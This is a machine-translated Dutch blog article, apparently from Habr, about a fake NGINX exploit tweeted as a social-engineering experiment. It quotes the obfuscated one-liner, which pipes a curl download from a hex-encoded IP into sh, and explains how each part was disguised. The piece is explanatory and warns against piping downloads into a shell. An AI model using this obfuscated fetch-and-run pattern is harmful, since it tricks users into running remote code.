Succes van een sociaal experiment met een nep-nginx-exploit

Opmerking. vert.: Auteur In de oorspronkelijke nota, gepubliceerd op 1 juni, werd besloten een experiment uit te voeren onder degenen die geïnteresseerd zijn in informatiebeveiliging. Om dit te doen, bereidde hij een nep-exploit voor een niet bekendgemaakte kwetsbaarheid in de webserver voor en plaatste deze op zijn Twitter. Zijn aannames - die onmiddellijk aan het licht zouden worden gebracht door specialisten die het voor de hand liggende bedrog in de code zouden zien - kwamen niet alleen niet uit... Ze overtroffen alle verwachtingen, en in de tegenovergestelde richting: de tweet kreeg enorme steun van talloze mensen die dat niet deden controleer de inhoud ervan.

TL;DR: Gebruik onder geen enkele omstandigheid bestandspipelining in sh of bash. Dit is een geweldige manier om de controle over uw computer te verliezen.

Ik wil een kort verhaal met jullie delen over een komische PoC-exploit die op 31 mei werd gemaakt. Hij verscheen prompt als reactie op nieuws van Alisa Esage Sjevtsjenko, lid Zero Day Initiatief (ZDI) zal binnenkort informatie worden vrijgegeven over een kwetsbaarheid in NGINX die leidt tot RCE (remote code executie). Omdat NGINX veel websites aandrijft, moet het nieuws een bom zijn geweest. Maar vanwege vertragingen in het proces van ‘verantwoorde openbaarmaking’ waren de details van wat er gebeurde niet bekend – dit is de standaard ZDI-procedure.

Tweeten over het vrijgeven van kwetsbaarheden in NGINX

Nadat ik klaar was met het werken aan een nieuwe verduisteringstechniek in curl, citeerde ik de originele tweet en “lekte een werkende PoC” bestaande uit een enkele regel code die zogenaamd misbruik zou maken van de ontdekte kwetsbaarheid. Natuurlijk was dit complete onzin. Ik ging ervan uit dat ik onmiddellijk zou worden blootgesteld, en dat ik in het beste geval een paar retweets zou krijgen (nou ja).

Tweeten met valse exploit

Ik kon me echter niet voorstellen wat er daarna gebeurde. De populariteit van mijn tweet schoot omhoog. Verrassend genoeg hebben op dit moment (15 uur Moskou-tijd, 00 juni) weinig mensen zich gerealiseerd dat dit nep is. Veel mensen retweeten het zonder het überhaupt te controleren (laat staan ​​de mooie ASCII-afbeeldingen te bewonderen die het oplevert).

Kijk eens hoe mooi het is!

Hoewel al deze lussen en kleuren geweldig zijn, is het duidelijk dat mensen code op hun machine moesten uitvoeren om ze te kunnen zien. Gelukkig werken browsers op dezelfde manier, en gecombineerd met het feit dat ik niet echt in juridische problemen wilde komen, maakte de code die op mijn site verborgen zat alleen maar echo-oproepen zonder te proberen aanvullende code te installeren of uit te voeren.

Kleine uitweiding: netspookachtig, DNZ, ik en de andere jongens van het team Thugcrowd We spelen al een tijdje met verschillende manieren om curl-opdrachten te verdoezelen, omdat het cool is... en we zijn nerds. netspooky en dnz ontdekten verschillende nieuwe methoden die mij veelbelovend leken. Ik deed mee en probeerde IP-decimale conversies toe te voegen aan de trukendoos. Het blijkt dat IP ook kan worden geconverteerd naar hexadecimaal formaat. Bovendien eten curl en de meeste andere NIX-tools graag hexadecimale IP's! Het was dus gewoon een kwestie van een overtuigende en veilig ogende opdrachtregel creëren. Uiteindelijk ben ik op deze uitgekomen:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sociaal-elektronische engineering (SEE) - meer dan alleen phishing

Veiligheid en vertrouwdheid waren een belangrijk onderdeel van dit experiment. Ik denk dat zij tot zijn succes hebben geleid. De opdrachtregel impliceerde duidelijk beveiliging door te verwijzen naar "127.0.0.1" (de bekende localhost). Localhost wordt als veilig beschouwd en de gegevens erop verlaten nooit uw computer.

Bekendheid was de tweede belangrijke SEE-component van het experiment. Omdat de doelgroep voornamelijk bestond uit mensen die bekend waren met de basisprincipes van computerbeveiliging, was het belangrijk om code zo te maken dat delen ervan bekend en vertrouwd (en dus veilig) leken. Het lenen van elementen uit oude exploitconcepten en deze op een ongebruikelijke manier combineren is zeer succesvol gebleken.

Hieronder vindt u een gedetailleerde analyse van de oneliner. Alles op deze lijst draagt cosmetische aard, en er is vrijwel niets nodig voor de daadwerkelijke werking ervan.

Welke onderdelen zijn echt nodig? Dit -gsS, -O 0x0238f06a, |sh en de webserver zelf. De webserver bevatte geen kwaadaardige instructies, maar serveerde eenvoudigweg ASCII-afbeeldingen met behulp van opdrachten echo in het script dat erin staat index.html. Wanneer de gebruiker een regel invoerde met |sh middenin, index.html geladen en uitgevoerd. Gelukkig hadden de beheerders van de webserver geen kwade bedoelingen.

• ../../../%00 — staat voor verder gaan dan de directory;
• ngx_stream_module.so — pad naar een willekeurige NGINX-module;
• /bin/sh%00<'protocol:TCP' - we zijn zogenaamd aan het lanceren /bin/sh op de doelmachine en stuur de uitvoer door naar het TCP-kanaal;
• -O 0x0238f06a#PLToffset - geheim ingrediënt, aangevuld #PLToffset, om eruit te zien als een geheugenoffset die op de een of andere manier in de PLT zit;
• |sh; - nog een belangrijk fragment. We moesten de uitvoer omleiden naar sh/bash om de code uit te voeren die afkomstig was van de aanvallende webserver op 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - een dummy waar netcat naar verwijst /dev/tcp/localhostzodat alles er weer veilig uitziet. In feite doet het niets en is het opgenomen in de lijn voor schoonheid.

Dit rondt het decoderen van het éénregelige script af en de bespreking van aspecten van “sociaal-elektronische engineering” (ingewikkelde phishing).

Webserverconfiguratie en tegenmaatregelen

Omdat de overgrote meerderheid van mijn abonnees infosec/hackers zijn, heb ik besloten om de webserver wat beter bestand te maken tegen uitingen van “interesse” van hun kant, gewoon zodat de jongens iets te doen zouden hebben (en het leuk zou zijn om opgericht). Ik ga hier niet alle valkuilen opsommen, aangezien het experiment nog gaande is, maar hier zijn een paar dingen die de server doet:

• Houdt actief toezicht op distributiepogingen op bepaalde sociale netwerken en vervangt verschillende voorbeeldminiaturen om de gebruiker aan te moedigen op de link te klikken.
• Leidt Chrome/Mozilla/Safari/etc om naar de Thugcrowd-promotievideo in plaats van het shellscript weer te geven.
• Let op duidelijke tekenen van inbraak/flagrante hacking en begint vervolgens verzoeken door te sturen naar NSA-servers (ha!).
• Installeert een Trojaans paard, evenals een BIOS-rootkit, op alle computers waarvan de gebruikers de host bezoeken vanuit een gewone browser (grapje!).

Een klein deel van antimeren

In dit geval was mijn enige doel om een ​​aantal functies van Apache onder de knie te krijgen - in het bijzonder de coole regels voor het omleiden van verzoeken - en ik dacht: waarom niet?

NGINX-exploit (echt!)

Abonneer je op @alisaesage op Twitter en volg het geweldige werk van ZDI bij het aanpakken van zeer reële kwetsbaarheden en het exploiteren van kansen in NGINX. Hun werk heeft mij altijd gefascineerd en ik ben Alice dankbaar voor haar geduld met alle vermeldingen en meldingen die mijn stomme tweet veroorzaakte. Gelukkig heeft het ook iets goeds gedaan: het heeft bijgedragen aan het vergroten van het bewustzijn over NGINX-kwetsbaarheden, evenals aan problemen veroorzaakt door misbruik van curl.

Bron: www.habr.com